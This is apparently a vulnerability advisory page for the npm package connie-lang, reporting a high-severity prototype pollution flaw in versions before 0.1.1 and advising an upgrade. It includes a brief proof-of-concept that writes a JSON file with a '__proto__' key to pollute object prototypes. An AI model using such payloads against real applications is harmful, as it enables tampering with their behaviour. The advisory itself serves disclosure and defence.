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connie-lang@0.0.2 vulnerabilities

Configuration language for connie

  • latest version

    0.1.1

  • latest non vulnerable version

    0.1.1

  • first published

    10 years ago

  • latest version published

    4 years ago

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    Direct Vulnerabilities

    Known vulnerabilities in the connie-lang package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    connie-lang is a the configuration language for connie.

    Affected versions of this package are vulnerable to Prototype Pollution in the configuration language library used by connie.

    POC

    const connie = require('connie');
const fs = require('fs');
fs.writeFileSync('test.json', `{"__proto__": {"polluted": true}}`);
connie('dir', '.').read().then(x => {
    console.log(polluted);
});

    How to fix Prototype Pollution?

    Upgrade connie-lang to version 0.1.1 or higher.

    <0.1.1
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